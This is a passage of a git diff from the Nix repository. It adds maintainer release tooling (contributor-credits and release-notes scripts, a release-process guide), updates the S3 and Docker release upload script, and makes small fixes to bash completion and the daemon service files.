''^tests/functional/gc-concurrent\.builder\.sh$'' + ''^tests/functional/gc-concurrent\.sh$'' + ''^tests/functional/gc-concurrent2\.builder\.sh$'' + ''^tests/functional/gc-non-blocking\.sh$'' + ''^tests/functional/gc\.sh$'' + ''^tests/functional/git-hashing/common\.sh$'' + ''^tests/functional/git-hashing/simple\.sh$'' + ''^tests/functional/hash-convert\.sh$'' + ''^tests/functional/help\.sh$'' + ''^tests/functional/impure-derivations\.sh$'' + ''^tests/functional/impure-env\.sh$'' + ''^tests/functional/impure-eval\.sh$'' + ''^tests/functional/install-darwin\.sh$'' + ''^tests/functional/lang\.sh$'' + ''^tests/functional/legacy-ssh-store\.sh$'' + ''^tests/functional/linux-sandbox\.sh$'' + ''^tests/functional/local-overlay-store/add-lower-inner\.sh$'' + ''^tests/functional/local-overlay-store/add-lower\.sh$'' + ''^tests/functional/local-overlay-store/bad-uris\.sh$'' + ''^tests/functional/local-overlay-store/build-inner\.sh$'' + ''^tests/functional/local-overlay-store/build\.sh$'' + ''^tests/functional/local-overlay-store/check-post-init-inner\.sh$'' + ''^tests/functional/local-overlay-store/check-post-init\.sh$'' + ''^tests/functional/local-overlay-store/common\.sh$'' + ''^tests/functional/local-overlay-store/delete-duplicate-inner\.sh$'' + ''^tests/functional/local-overlay-store/delete-duplicate\.sh$'' + ''^tests/functional/local-overlay-store/delete-refs-inner\.sh$'' + ''^tests/functional/local-overlay-store/delete-refs\.sh$'' + ''^tests/functional/local-overlay-store/gc-inner\.sh$'' + ''^tests/functional/local-overlay-store/gc\.sh$'' + ''^tests/functional/local-overlay-store/optimise-inner\.sh$'' + ''^tests/functional/local-overlay-store/optimise\.sh$'' + ''^tests/functional/local-overlay-store/redundant-add-inner\.sh$'' + ''^tests/functional/local-overlay-store/redundant-add\.sh$'' + ''^tests/functional/local-overlay-store/remount\.sh$'' + ''^tests/functional/local-overlay-store/stale-file-handle-inner\.sh$'' + ''^tests/functional/local-overlay-store/stale-file-handle\.sh$'' + ''^tests/functional/local-overlay-store/verify-inner\.sh$'' + ''^tests/functional/local-overlay-store/verify\.sh$'' + ''^tests/functional/logging\.sh$'' + ''^tests/functional/misc\.sh$'' + ''^tests/functional/multiple-outputs\.sh$'' + ''^tests/functional/nar-access\.sh$'' + ''^tests/functional/nested-sandboxing\.sh$'' + ''^tests/functional/nested-sandboxing/command\.sh$'' + ''^tests/functional/nix-build\.sh$'' + ''^tests/functional/nix-channel\.sh$'' + ''^tests/functional/nix-collect-garbage-d\.sh$'' + ''^tests/functional/nix-copy-ssh-common\.sh$'' + ''^tests/functional/nix-copy-ssh-ng\.sh$'' + ''^tests/functional/nix-copy-ssh\.sh$'' + ''^tests/functional/nix-daemon-untrusting\.sh$'' + ''^tests/functional/nix-profile\.sh$'' + ''^tests/functional/nix-shell\.sh$'' + ''^tests/functional/nix_path\.sh$'' + ''^tests/functional/optimise-store\.sh$'' + ''^tests/functional/output-normalization\.sh$'' + ''^tests/functional/parallel\.builder\.sh$'' + ''^tests/functional/parallel\.sh$'' + ''^tests/functional/pass-as-file\.sh$'' + ''^tests/functional/path-from-hash-part\.sh$'' + ''^tests/functional/path-info\.sh$'' + ''^tests/functional/placeholders\.sh$'' + ''^tests/functional/plugins\.sh$'' + ''^tests/functional/post-hook\.sh$'' + ''^tests/functional/pure-eval\.sh$'' + ''^tests/functional/push-to-store-old\.sh$'' + ''^tests/functional/push-to-store\.sh$'' + ''^tests/functional/read-only-store\.sh$'' + ''^tests/functional/readfile-context\.sh$'' + ''^tests/functional/recursive\.sh$'' + ''^tests/functional/referrers\.sh$'' + ''^tests/functional/remote-store\.sh$'' + ''^tests/functional/repair\.sh$'' + ''^tests/functional/restricted\.sh$'' + ''^tests/functional/search\.sh$'' + ''^tests/functional/secure-drv-outputs\.sh$'' + ''^tests/functional/selfref-gc\.sh$'' + ''^tests/functional/shell\.sh$'' + ''^tests/functional/shell\.shebang\.sh$'' + ''^tests/functional/simple\.builder\.sh$'' + ''^tests/functional/supplementary-groups\.sh$'' + ''^tests/functional/toString-path\.sh$'' + ''^tests/functional/user-envs-migration\.sh$'' + ''^tests/functional/user-envs-test-case\.sh$'' + ''^tests/functional/user-envs\.builder\.sh$'' + ''^tests/functional/user-envs\.sh$'' + ''^tests/functional/why-depends\.sh$'' + ''^tests/functional/zstd\.sh$'' + ''^tests/unit/libutil/data/git/check-data\.sh$'' + ]; + }; + # TODO: nixfmt, https://github.com/NixOS/nixfmt/issues/153 + }; + }; + }; + + # We'll be pulling from this in the main flake + flake.getSystem = getSystem; +} diff --git a/maintainers/format.sh b/maintainers/format.sh new file mode 100755 index 000000000..a2a6d8b41 --- /dev/null +++ b/maintainers/format.sh @@ -0,0 +1,11 @@ +#!/usr/bin/env bash + +if ! type -p pre-commit &>/dev/null; then + echo "format.sh: pre-commit not found. Please use \`nix develop\`."; + exit 1; +fi; +if test -z "$_NIX_PRE_COMMIT_HOOKS_CONFIG"; then + echo "format.sh: _NIX_PRE_COMMIT_HOOKS_CONFIG not set. Please use \`nix develop\`."; + exit 1; +fi; +pre-commit run --config "$_NIX_PRE_COMMIT_HOOKS_CONFIG" --all-files diff --git a/maintainers/local.mk b/maintainers/local.mk new file mode 100644 index 000000000..e81517eda --- /dev/null +++ b/maintainers/local.mk @@ -0,0 +1,8 @@ + +.PHONY: format +print-top-help += echo ' format: Format source code' + +# This uses the cached .pre-commit-hooks.yaml file +fmt_script := $(d)/format.sh +format: + @$(fmt_script) diff --git a/maintainers/release-credits b/maintainers/release-credits new file mode 100755 index 000000000..7a5c87d7d --- /dev/null +++ b/maintainers/release-credits @@ -0,0 +1,184 @@ +#!/usr/bin/env nix +# vim: set filetype=python: +#!nix develop --impure --expr +#!nix `` +#!nix let flake = builtins.getFlake ("git+file://" + toString ../.); +#!nix pkgs = flake.inputs.nixpkgs.legacyPackages.${builtins.currentSystem}; +#!nix in pkgs.mkShell { nativeBuildInputs = [ +#!nix (pkgs.python3.withPackages (ps: with ps; [ requests ])) +#!nix ]; } +#!nix `` --command python3 + +# This script lists out the contributors for a given release. +# It must be run from the root of the Nix repository. + +import os +import sys +import json +import requests + +github_token = os.environ.get("GITHUB_TOKEN") +if not github_token: + print("GITHUB_TOKEN is not set. If you hit the rate limit, set it", file=sys.stderr) + # Might be ok, as we have a cache. + # raise ValueError("GITHUB_TOKEN must be set") + +# 1. Read the current version in .version +version = os.environ.get("VERSION") +if not version: + version = open(".version").read().strip() + +print(f"Generating release credits for Nix {version}", file=sys.stderr) + +# 2. Compute previous version +vcomponents = version.split(".") +if len(vcomponents) >= 2: + prev_version = f"{vcomponents[0]}.{int(vcomponents[1])-1}.0" +else: + raise ValueError(".version must have at least two components") + +# For unreleased versions +endref = "HEAD" +# For older releases +# endref = version + +# 2. Find the merge base between the current version and the previous version +mergeBase = os.popen(f"git merge-base {prev_version} {endref}").read().strip() +print(f"Merge base between {prev_version} and {endref} is {mergeBase}", file=sys.stderr) + +# 3. Find the date of the merge base +mergeBaseDate = os.popen(f"git show -s --format=%ci {mergeBase}").read().strip()[0:10] +print(f"Merge base date is {mergeBaseDate}", file=sys.stderr) + +# 4. Get the commits between the merge base and the current version + +def get_commits(): + raw = os.popen(f"git log --pretty=format:'%H\t%an\t%ae' {mergeBase}..{endref}").read().strip() + lines = raw.split("\n") + return [ { "hash": items[0], "author": items[1], "email": items[2] } + for line in lines + for items in (line.split("\t"),) + ] + +def commits_to_first_commit_by_email(commits): + by_email = dict() + for commit in commits: + email = commit["email"] + if email not in by_email: + by_email[email] = commit + return by_email + + +samples = commits_to_first_commit_by_email(get_commits()) + +# For quick testing, only pick two samples from the dict +# samples = dict(list(samples.items())[:2]) + +# Query the GitHub API to get handle +def get_github_commit(commit): + url = f"https://api.github.com/repos/NixOS/nix/commits/{commit['hash']}" + headers = {'Authorization': f'token {github_token}'} + response = requests.get(url, headers=headers) + response.raise_for_status() + return response.json() + +class Cache: + def __init__(self, filename, require = True): + self.filename = filename + try: + with open(filename, "r") as f: + self.values = json.load(f) + except FileNotFoundError: + if require: + raise + self.values = dict() + def save(self): + with open(self.filename, "w") as f: + json.dump(self.values, f, indent=4) + print(f"Saved cache to {self.filename}", file=sys.stderr) + +# The email to handle cache maps email addresses to either +# - a handle (string) +# - None (if no handle was found) +email_to_handle_cache = Cache("maintainers/data/release-credits-email-to-handle.json") + +handles = set() +emails = dict() + +for sample in samples: + s = samples[sample] + email = s["email"] + if not email in email_to_handle_cache.values: + print(f"Querying GitHub API for {s['hash']}, to get handle for {s['email']}") + ghc = get_github_commit(samples[sample]) + gha = ghc["author"] + if gha and gha["login"]: + handle = gha["login"] + print(f"Handle: {handle}") + email_to_handle_cache.values[email] = handle + else: + print(f"Found no handle for {s['email']}") + email_to_handle_cache.values[email] = None + handle = email_to_handle_cache.values[email] + if handle is not None: + handles.add(handle) + else: + emails[email] = s["author"] + +# print(email_to_handle_cache.values) + +email_to_handle_cache.save() + +handle_to_name_cache = Cache("maintainers/data/release-credits-handle-to-name.json") + +print(f"Found {len(handles)} handles", file=sys.stderr) + +for handle in handles: + if not handle in handle_to_name_cache.values: + print(f"Querying GitHub API for {handle}, to get name", file=sys.stderr) + url = f"https://api.github.com/users/{handle}" + headers = {'Authorization': f'token {github_token}'} + response = requests.get(url, headers=headers) + response.raise_for_status() + user = response.json() + name = user["name"] + print(f"Name: {name}", file=sys.stderr) + handle_to_name_cache.values[handle] = name + +handle_to_name_cache.save() + +entries = list() + +def is_bot(handle): + return handle.endswith("[bot]") + +for handle in handles: + name = handle_to_name_cache.values[handle] + if name is None: + # This way it looks more regular + name = handle + + # Note to bots: I'm only doing this because it would distract humans, and + # therefore delay your creation. I'm sorry; it's for your benefit. + if not is_bot(handle): + entries += [ f"- {name} [**(@{handle})**](https://github.com/{handle})" ] + +def shuffle(entries): + salt = os.urandom(16) + return sorted(entries, key=lambda x: hash((x, salt))) + +# Fair ordering is undecidable +entries = shuffle(entries) + +# For a sanity check, we could sort the entries by handle instead. +# entries = sorted(entries) + +print("") +print(f"This release was made possible by the following {len(entries)} contributors:") +print("") + +for entry in entries: + print(entry) + +for email in emails: + print(f"- {emails[email]}") diff --git a/maintainers/release-notes b/maintainers/release-notes new file mode 100755 index 000000000..c0c4ee734 --- /dev/null +++ b/maintainers/release-notes @@ -0,0 +1,185 @@ +#!/usr/bin/env nix +# vim: set filetype=bash: +#!nix shell .#changelog-d --command bash + +# --- CONFIGURATION --- + +# This does double duty for +# - including rl-next +# - marking where to insert new links (right after) +SUMMARY_MARKER_LINE='{{#include ./SUMMARY-rl-next.md}}' + +# --- LIB --- + +log() { + echo 1>&2 "release-notes:" "$@" +} +logcmd() { + local cmd="$1" + shift + logcmd2 "$cmd" "${*@Q}" "$cmd" "$@" +} +logcmd2() { + local fakecmd="$1" + local fakeargs="$2" + shift + shift + printf 1>&2 "release-notes: \033[34;1m$fakecmd\033[0m " + echo "$fakeargs" 1>&2 + "$@" +} +die() { + # ANSI red + printf 1>&2 "release-notes: \033[31;1merror:\033[0m" + echo 1>&2 "" "$@" + exit 1 +} +confirm() { + local answer + echo 1>&2 "$@" "[y/n]" + read -r answer + case "$answer" in + y|Y|yes|Yes|YES) + return 0 + ;; + n|N|no|No|NO) + return 1 + ;; + *) + echo 1>&2 "please answer y or n" + confirm "$@" + ;; + esac +} +report_done() { + logcmd2 "git" "show" git -c pager.show=false show + printf 1>&2 "release-notes: \033[32;1mdone\033[0m\n" +} + +# --- PARSE ARGS --- + +if [[ $# -gt 0 ]]; then + die "Release notes takes no arguments, but make sure to set VERSION." +fi + +# --- CHECKS --- + +if [[ ! -e flake.nix ]] || [[ ! -e .git ]]; then + die "must run in repo root" + exit 1 +fi + +# repo must be clean +if ! git diff --quiet; then + die "repo is dirty, please commit or stash changes" +fi + +if ! git diff --quiet --cached; then + die "repo has staged changes, please commit or stash them" +fi + +if ! grep "$SUMMARY_MARKER_LINE" doc/manual/src/SUMMARY.md.in >/dev/null; then + # would have been nice to catch this early, but won't be worth the extra infra + die "SUMMARY.md.in is missing the marker line '$SUMMARY_MARKER_LINE', which would be used for inserting a new release notes page. Please fix the script." +fi + +if [[ ! -n "${VERSION:-}" ]]; then + die "please set the VERSION environment variable before invoking this script" + exit 1 +fi + +# version_major_minor: MAJOR.MINOR +# version_full: MAJOR.MINOR.PATCH +# IS_PATCH: true if this is a patch release; append instead of create +if grep -E '^[0-9]+\.[0-9]+$' <<< "$VERSION" >/dev/null; then + log 'is minor' + IS_PATCH=false + version_full="$VERSION.0" + version_major_minor="$VERSION" +elif grep -E '^[0-9]+\.[0-9]+\.0$' <<< "$VERSION" >/dev/null; then + log 'is minor (.0)' + IS_PATCH=false + version_full="$VERSION" + version_major_minor="$(echo "$VERSION" | sed -e 's/\.0$//')" +elif grep -E '^[0-9]+\.[0-9]+\.[0-9]+$' <<< "$VERSION" >/dev/null; then + log 'is patch' + IS_PATCH=true + version_full="$VERSION" + version_major_minor="$(echo "$VERSION" | sed -e 's/\.[0-9]*$//')" +else + die "VERSION must be MAJOR.MINOR[.PATCH], where each is a number, e.g. 2.20 or 2.20.1 (VERSION was set to $VERSION)" +fi + +unset VERSION + +log "version_major_minor=$version_major_minor" +log "version_full=$version_full" +log "IS_PATCH=$IS_PATCH" + +basename=rl-${version_major_minor}.md +file=doc/manual/src/release-notes/$basename + +if ! $IS_PATCH; then + if [[ -e $file ]]; then + die "release notes file $file already exists. If you'd like to make a minor release, pass a patch version, e.g. 2.20.1" + fi +fi + +# --- DEFAULTS --- + +if [[ ! -n "${DATE:-}" ]]; then + DATE="$(date +%Y-%m-%d)" + log "DATE not set, using $DATE" +fi + +case "$DATE" in + [0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]) + ;; + *) + die "DATE must be YYYY-MM-DD, e.g. 2021-12-31 (DATE was set to $DATE)" + ;; +esac + +# --- DO THE WORK --- + +# menu +title="Release $version_major_minor ($DATE)" +# section on page +section_title="Release $version_full ($DATE)" + +( + # TODO add minor number, and append? + echo "# $section_title" + echo + changelog-d doc/manual/rl-next | sed -e 's/ *$//' + + if ! $IS_PATCH; then + echo + echo "# Contributors" + echo + VERSION=$version_full ./maintainers/release-credits + fi +) | tee -a $file + +log "Wrote $file" + +if ! $IS_PATCH; then + NEW_SUMMARY_LINE=" - [$title](release-notes/$basename)" + + # find the marker line, insert new link after it + escaped_marker="$(echo "$SUMMARY_MARKER_LINE" | sed -e 's/\//\\\//g' -e 's/ /\\ /g')" + escaped_line="$(echo "$NEW_SUMMARY_LINE" | sed -e 's/\//\\\//g' -e 's/ /\\ /g')" + logcmd sed -i -e "/$escaped_marker/a $escaped_line" doc/manual/src/SUMMARY.md.in +fi + +for f in doc/manual/rl-next/*.md; do + if [[ config != "$(basename $f)" ]]; then + logcmd git rm $f + fi +done + +logcmd git add $file doc/manual/src/SUMMARY.md.in +logcmd git status +logcmd git commit -m "release notes: $version_full" + +report_done diff --git a/maintainers/release-process.md b/maintainers/release-process.md new file mode 100644 index 000000000..7a2b3c0a7 --- /dev/null +++ b/maintainers/release-process.md @@ -0,0 +1,201 @@ +# Nix release process + +## Release artifacts + +The release process is intended to create the following for each +release: + +* A Git tag + +* Binary tarballs in https://releases.nixos.org/?prefix=nix/ + +* Docker images + +* Closures in https://cache.nixos.org + +* (Optionally) Updated `fallback-paths.nix` in Nixpkgs + +* An updated manual on https://nixos.org/manual/nix/stable/ + +## Creating a new release from the `master` branch + +* Make sure that the [Hydra `master` jobset](https://hydra.nixos.org/jobset/nix/master) succeeds. + +* In a checkout of the Nix repo, make sure you're on `master` and run + `git pull`. + +* Compile the release notes by running + + ```console + $ export VERSION=X.YY + $ git checkout -b release-notes + $ ./maintainers/release-notes + ``` + + where `X.YY` is *without* the patch level, e.g. `2.12` rather than ~~`2.12.0`~~. + + A commit is created. + +* Proof-read / edit / rearrange the release notes if needed. Breaking changes + and highlights should go to the top. + +* Run `maintainers/release-credits` to make sure the credits script works + and produces a sensible output. Some emails might not automatically map to + a GitHub handle. + +* Push. + + ```console + $ git push --set-upstream $REMOTE release-notes + ``` + +* Create a PR for `release-notes`. + +* Wait for the PR to be merged. + +* Create a branch for the release: + + ```console + $ git checkout master + $ git pull + $ git checkout -b $VERSION-maintenance + ``` + +* Mark the release as official: + + ```console + $ sed -e 's/officialRelease = false;/officialRelease = true;/' -i flake.nix + ``` + + This removes the link to `rl-next.md` from the manual and sets + `officialRelease = true` in `flake.nix`. + +* Commit + +* Push the release branch: + + ```console + $ git push --set-upstream origin $VERSION-maintenance + ``` + +* Create a jobset for the release branch on Hydra as follows: + + * Go to the jobset of the previous release + (e.g. https://hydra.nixos.org/jobset/nix/maintenance-2.11). + + * Select `Actions -> Clone this jobset`. + + * Set identifier to `maintenance-$VERSION`. + + * Set description to `$VERSION release branch`. + + * Set flake URL to `github:NixOS/nix/$VERSION-maintenance`. + + * Hit `Create jobset`. + +* Wait for the new jobset to evaluate and build. If impatient, go to + the evaluation and select `Actions -> Bump builds to front of + queue`. + +* When the jobset evaluation has succeeded building, take note of the + evaluation ID (e.g. `1780832` in + `https://hydra.nixos.org/eval/1780832`). + +* Tag the release and upload the release artifacts to + [`releases.nixos.org`](https://releases.nixos.org/) and [Docker Hub](https://hub.docker.com/): + + ```console + $ IS_LATEST=1 ./maintainers/upload-release.pl + ``` + + Note: `IS_LATEST=1` causes the `latest-release` branch to be + force-updated. This is used by the `nixos.org` website to get the + [latest Nix manual](https://nixos.org/manual/nixpkgs/unstable/). + + TODO: This script requires the right AWS credentials. Document. + + TODO: This script currently requires a + `/home/eelco/Dev/nix-pristine`. + + TODO: trigger nixos.org netlify: https://docs.netlify.com/configure-builds/build-hooks/ + +* Prepare for the next point release by editing `.version` to + e.g. + + ```console + $ echo 2.12.1 > .version + $ git commit -a -m 'Bump version' + $ git push + ``` + + Commit and push this to the maintenance branch. + +* Bump the version of `master`: + + ```console + $ git checkout master + $ git pull + $ NEW_VERSION=2.13.0 + $ echo $NEW_VERSION > .version + $ git checkout -b bump-$NEW_VERSION + $ git commit -a -m 'Bump version' + $ git push --set-upstream origin bump-$NEW_VERSION + ``` + + Make a pull request and auto-merge it. + +* Create a milestone for the next release, move all unresolved issues + from the previous milestone, and close the previous milestone. Set + the date for the next milestone 6 weeks from now. + +* Create a backport label. + +* Post an [announcement on Discourse](https://discourse.nixos.org/c/announcements/8), including the contents of + `rl-$VERSION.md`. + +## Creating a point release + +* Checkout. + + ```console + $ git checkout XX.YY-maintenance + ``` + +* Determine the next patch version. + + ```console + $ export VERSION=XX.YY.ZZ + ``` + +* Update release notes. + + ```console + $ ./maintainers/release-notes + ``` + +* Push. + + ```console + $ git push + ``` + +* Wait for the desired evaluation of the maintenance jobset to finish + building. + +* Run + + ```console + $ IS_LATEST=1 ./maintainers/upload-release.pl + ``` + + Omit `IS_LATEST=1` when creating a point release that is not on the + most recent stable branch. This prevents `nixos.org` to going back + to an older release. + +* Bump the version number of the release branch as above (e.g. to + `2.12.2`). + +## Recovering from mistakes + +`upload-release.pl` should be idempotent. For instance a wrong `IS_LATEST` value can be fixed that way, by running the script on the actual latest release. + diff --git a/maintainers/upload-release.pl b/maintainers/upload-release.pl index 77469148a..731988568 100755 --- a/maintainers/upload-release.pl +++ b/maintainers/upload-release.pl @@ -11,11 +11,12 @@ use JSON::PP; use LWP::UserAgent; use Net::Amazon::S3; +delete $ENV{'shell'}; # shut up a LWP::UserAgent.pm warning + my $evalId = $ARGV[0] or die "Usage: $0 EVAL-ID\n"; my $releasesBucketName = "nix-releases"; my $channelsBucketName = "nix-channels"; -my $nixpkgsDir = "/home/eelco/Dev/nixpkgs-pristine"; my $TMPDIR = $ENV{'TMPDIR'} // "/tmp"; @@ -37,11 +38,11 @@ sub fetch { my $evalUrl = "https://hydra.nixos.org/eval/$evalId"; my $evalInfo = decode_json(fetch($evalUrl, 'application/json')); #print Dumper($evalInfo); -my $flakeUrl = $evalInfo->{flake} or die; -my $flakeInfo = decode_json(`nix flake metadata --json "$flakeUrl"` or die); -my $nixRev = $flakeInfo->{revision} or die; +my $flakeUrl = $evalInfo->{flake}; +my $flakeInfo = decode_json(`nix flake metadata --json "$flakeUrl"` or die) if $flakeUrl; +my $nixRev = ($flakeInfo ? $flakeInfo->{revision} : $evalInfo->{jobsetevalinputs}->{nix}->{revision}) or die; -my $buildInfo = decode_json(fetch("$evalUrl/job/build.x86_64-linux", 'application/json')); +my $buildInfo = decode_json(fetch("$evalUrl/job/build.nix.x86_64-linux", 'application/json')); #print Dumper($buildInfo); my $releaseName = $buildInfo->{nixname}; @@ -81,6 +82,45 @@ my $s3_us = Net::Amazon::S3->new( my $channelsBucket = $s3_us->bucket($channelsBucketName) or die; +sub getStorePath { + my ($jobName, $output) = @_; + my $buildInfo = decode_json(fetch("$evalUrl/job/$jobName", 'application/json')); + return $buildInfo->{buildoutputs}->{$output or "out"}->{path} // die "cannot get store path for '$jobName'"; +} + +sub copyManual { + my $manual; + eval { + $manual = getStorePath("build.nix.x86_64-linux", "doc"); + }; + if ($@) { + warn "$@"; + return; + } + print "Manual: $manual\n"; + + my $manualNar = "$tmpDir/$releaseName-manual.nar.xz"; + print "$manualNar\n"; + + unless (-e $manualNar) { + system("NIX_REMOTE=$binaryCache nix store dump-path '$manual' | xz > '$manualNar'.tmp") == 0 + or die "unable to fetch $manual\n"; + rename("$manualNar.tmp", $manualNar) or die; + } + + unless (-e "$tmpDir/manual") { + system("xz -d < '$manualNar' | nix-store --restore $tmpDir/manual.tmp") == 0 + or die "unable to unpack $manualNar\n"; + rename("$tmpDir/manual.tmp/share/doc/nix/manual", "$tmpDir/manual") or die; + system("rm -rf '$tmpDir/manual.tmp'") == 0 or die; + } + + system("aws s3 sync '$tmpDir/manual' s3://$releasesBucketName/$releaseDir/manual") == 0 + or die "syncing manual to S3\n"; +} + +copyManual; + sub downloadFile { my ($jobName, $productNr, $dstName) = @_; @@ -123,19 +163,34 @@ downloadFile("binaryTarball.x86_64-linux", "1"); downloadFile("binaryTarball.aarch64-linux", "1"); downloadFile("binaryTarball.x86_64-darwin", "1"); downloadFile("binaryTarball.aarch64-darwin", "1"); -downloadFile("binaryTarballCross.x86_64-linux.armv6l-linux", "1"); -downloadFile("binaryTarballCross.x86_64-linux.armv7l-linux", "1"); +eval { + downloadFile("binaryTarballCross.x86_64-linux.armv6l-unknown-linux-gnueabihf", "1"); +}; +warn "$@" if $@; +eval { + downloadFile("binaryTarballCross.x86_64-linux.armv7l-unknown-linux-gnueabihf", "1"); +}; +warn "$@" if $@; +eval { + downloadFile("binaryTarballCross.x86_64-linux.riscv64-unknown-linux-gnu", "1"); +}; +warn "$@" if $@; downloadFile("installerScript", "1"); # Upload docker images to dockerhub. my $dockerManifest = ""; my $dockerManifestLatest = ""; +my $haveDocker = 0; for my $platforms (["x86_64-linux", "amd64"], ["aarch64-linux", "arm64"]) { my $system = $platforms->[0]; my $dockerPlatform = $platforms->[1]; my $fn = "nix-$version-docker-image-$dockerPlatform.tar.gz"; - downloadFile("dockerImage.$system", "1", $fn); + eval { + downloadFile("dockerImage.$system", "1", $fn); + }; + die "$@" if $@; + $haveDocker = 1; print STDERR "loading docker image for $dockerPlatform...\n"; system("docker load -i $tmpDir/$fn") == 0 or die; @@ -163,26 +218,40 @@ for my $platforms (["x86_64-linux", "amd64"], ["aarch64-linux", "arm64"]) { $dockerManifestLatest .= " --amend $latestTag" } -print STDERR "creating multi-platform docker manifest...\n"; -system("docker manifest rm nixos/nix:$version"); -system("docker manifest create nixos/nix:$version $dockerManifest") == 0 or die; -if ($isLatest) { - print STDERR "creating latest multi-platform docker manifest...\n"; - system("docker manifest rm nixos/nix:latest"); - system("docker manifest create nixos/nix:latest $dockerManifestLatest") == 0 or die; +if ($haveDocker) { + print STDERR "creating multi-platform docker manifest...\n"; + system("docker manifest rm nixos/nix:$version"); + system("docker manifest create nixos/nix:$version $dockerManifest") == 0 or die; + if ($isLatest) { + print STDERR "creating latest multi-platform docker manifest...\n"; + system("docker manifest rm nixos/nix:latest"); + system("docker manifest create nixos/nix:latest $dockerManifestLatest") == 0 or die; + } + + print STDERR "pushing multi-platform docker manifest...\n"; + system("docker manifest push nixos/nix:$version") == 0 or die; + + if ($isLatest) { + print STDERR "pushing latest multi-platform docker manifest...\n"; + system("docker manifest push nixos/nix:latest") == 0 or die; + } } -print STDERR "pushing multi-platform docker manifest...\n"; -system("docker manifest push nixos/nix:$version") == 0 or die; - -if ($isLatest) { - print STDERR "pushing latest multi-platform docker manifest...\n"; - system("docker manifest push nixos/nix:latest") == 0 or die; -} +# Upload nix-fallback-paths.nix. +write_file("$tmpDir/fallback-paths.nix", + "{\n" . + " x86_64-linux = \"" . getStorePath("build.nix.x86_64-linux") . "\";\n" . + " i686-linux = \"" . getStorePath("build.nix.i686-linux") . "\";\n" . + " aarch64-linux = \"" . getStorePath("build.nix.aarch64-linux") . "\";\n" . + " riscv64-linux = \"" . getStorePath("buildCross.nix.riscv64-unknown-linux-gnu.x86_64-linux") . "\";\n" . + " x86_64-darwin = \"" . getStorePath("build.nix.x86_64-darwin") . "\";\n" . + " aarch64-darwin = \"" . getStorePath("build.nix.aarch64-darwin") . "\";\n" . + "}\n"); # Upload release files to S3. for my $fn (glob "$tmpDir/*") { my $name = basename($fn); + next if $name eq "manual"; my $dstKey = "$releaseDir/" . $name; unless (defined $releasesBucket->head_key($dstKey)) { print STDERR "uploading $fn to s3://$releasesBucketName/$dstKey...\n"; @@ -190,8 +259,7 @@ for my $fn (glob "$tmpDir/*") { my $configuration = (); $configuration->{content_type} = "application/octet-stream"; - if ($fn =~ /.sha256|install/) { - # Text files + if ($fn =~ /.sha256|install|\.nix$/) { $configuration->{content_type} = "text/plain"; } @@ -200,28 +268,6 @@ for my $fn (glob "$tmpDir/*") { } } -# Update nix-fallback-paths.nix. -if ($isLatest) { - system("cd $nixpkgsDir && git pull") == 0 or die; - - sub getStorePath { - my ($jobName) = @_; - my $buildInfo = decode_json(fetch("$evalUrl/job/$jobName", 'application/json')); - return $buildInfo->{buildoutputs}->{out}->{path} or die "cannot get store path for '$jobName'"; - } - - write_file("$nixpkgsDir/nixos/modules/installer/tools/nix-fallback-paths.nix", - "{\n" . - " x86_64-linux = \"" . getStorePath("build.x86_64-linux") . "\";\n" . - " i686-linux = \"" . getStorePath("build.i686-linux") . "\";\n" . - " aarch64-linux = \"" . getStorePath("build.aarch64-linux") . "\";\n" . - " x86_64-darwin = \"" . getStorePath("build.x86_64-darwin") . "\";\n" . - " aarch64-darwin = \"" . getStorePath("build.aarch64-darwin") . "\";\n" . - "}\n"); - - system("cd $nixpkgsDir && git commit -a -m 'nix-fallback-paths.nix: Update to $version'") == 0 or die; -} - # Update the "latest" symlink. $channelsBucket->add_key( "nix-latest/install", "", diff --git a/meson.build b/meson.build new file mode 100644 index 000000000..715a3862d --- /dev/null +++ b/meson.build @@ -0,0 +1,45 @@ +# This is just a stub project to include all the others as subprojects +# for development shell purposes + +project('nix-dev-shell', 'cpp', + version : files('.version'), + subproject_dir : 'src', +) + +# Internal Libraries +subproject('libutil') +subproject('libstore') +subproject('libfetchers') +subproject('libexpr') +subproject('libflake') +subproject('libmain') +subproject('libcmd') + +# Executables +subproject('nix') + +# Docs +subproject('internal-api-docs') +subproject('external-api-docs') + +# External C wrapper libraries +subproject('libutil-c') +subproject('libstore-c') +subproject('libexpr-c') +subproject('libmain-c') + +# Language Bindings +if not meson.is_cross_build() + subproject('perl') +endif + +# Testing +subproject('nix-util-test-support') +subproject('nix-util-tests') +subproject('nix-store-test-support') +subproject('nix-store-tests') +subproject('nix-fetchers-tests') +subproject('nix-expr-test-support') +subproject('nix-expr-tests') +subproject('nix-flake-tests') +subproject('nix-functional-tests') diff --git a/misc/bash/completion.sh b/misc/bash/completion.sh index 9af695f5a..c4ba96cd3 100644 --- a/misc/bash/completion.sh +++ b/misc/bash/completion.sh @@ -12,9 +12,16 @@ function _complete_nix { elif [[ $completion == attrs ]]; then compopt -o nospace fi - else - COMPREPLY+=("$completion") + continue fi + + if [[ "${cur}" =~ "=" ]]; then + # drop everything up to the first =. if a = is included, bash assumes this to be + # an arg=value argument and the completion gets mangled (see #11208) + completion="${completion#*=}" + fi + + COMPREPLY+=("${completion}") done < <(NIX_GET_COMPLETIONS=$cword "${words[@]}" 2>/dev/null) __ltrim_colon_completions "$cur" } diff --git a/misc/launchd/org.nixos.nix-daemon.plist.in b/misc/launchd/org.nixos.nix-daemon.plist.in index 5fa489b20..e1470cf99 100644 --- a/misc/launchd/org.nixos.nix-daemon.plist.in +++ b/misc/launchd/org.nixos.nix-daemon.plist.in @@ -4,8 +4,6 @@ EnvironmentVariables - NIX_SSL_CERT_FILE - /nix/var/nix/profiles/default/etc/ssl/certs/ca-bundle.crt OBJC_DISABLE_INITIALIZE_FORK_SAFETY YES diff --git a/misc/systemd/nix-daemon.service.in b/misc/systemd/nix-daemon.service.in index f46413630..45fbea02c 100644 --- a/misc/systemd/nix-daemon.service.in +++ b/misc/systemd/nix-daemon.service.in @@ -10,6 +10,7 @@ ConditionPathIsReadWrite=@localstatedir@/nix/daemon-socket ExecStart=@@bindir@/nix-daemon nix-daemon --daemon KillMode=process LimitNOFILE=1048576 +TasksMax=1048576 [Install] WantedBy=multi-user.target diff --git a/misc/systemv/nix-daemon b/misc/systemv/nix-daemon index fea537167..e8326f947 100755 --- a/misc/systemv/nix-daemon +++ b/misc/systemv/nix-daemon @@ -34,6 +34,7 @@ else fi # Source function library. +# shellcheck source=/dev/null . /etc/init.d/functions LOCKFILE=/var/lock/subsys/nix-daemon @@ -41,14 +42,20 @@ RUNDIR=/var/run/nix PIDFILE=${RUNDIR}/nix-daemon.pid RETVAL=0 